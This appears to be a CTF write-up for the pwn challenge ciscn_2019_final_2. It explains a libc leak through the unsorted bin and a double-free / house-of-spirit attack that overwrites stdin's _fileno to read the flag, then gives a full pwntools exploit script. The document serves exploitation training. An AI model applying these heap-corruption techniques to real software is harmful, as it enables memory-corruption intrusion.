ciscn_2019_final_2
step
-
Routine inspection, 64-bit program, full protection
-
There is no flag file locally, connect remotely, classic stacking menu
-
64-bit ida loads
init()
allocate(), you can only apply for 0x20 or 0x10 chunk
delete()
show(), show can only call
bye_bye 3 times
The key point of this question is the knowledge of file stream
dup2 is used to copy file descriptors: int dup2 (int oldfd,int newfd)
_fileno is used to specify the file stream pointed to by fd, init() changes the fd of flag to 666, so we just need to find a way to change the _fileno of stdin to 666, so that scanf will input the content of fd == 666 (flag) into & v0, and then we can output the content of flag
I created the flag file, but I still can't run the attachment locally, so I can't debug and see the distribution of the heap, so I directly refer to the practice of master pwnki .
- Allocate enough tcachebin to merge it into the unorted bin.
- The base address of libc is leaked through the fd pointer of unsorted bin, and the address of fileno is calculated.
- Use double free and house of spirit techniques to change the fileno of stdin to 666, so that data will be read from the flag file during scanf.
- Trigger the leave function and print the flag.
exp
from pwn import *
#p=remote('node3.buuoj.cn',28321)
p=process('./ciscn_final_2')
elf = ELF('./ciscn_final_2')
libc = ELF('./libc-2.27.so')
def add(add_type, add_num):
p.sendlineafter('which command?\n> ','1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
p.sendafter('your inode number:', str(add_num))
def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
def show(show_type):
p.sendlineafter('which command?\n> ', '3')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('\n', drop=True))
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
#gdb.attach(p)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)
addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30)
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)
p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
p.interactive()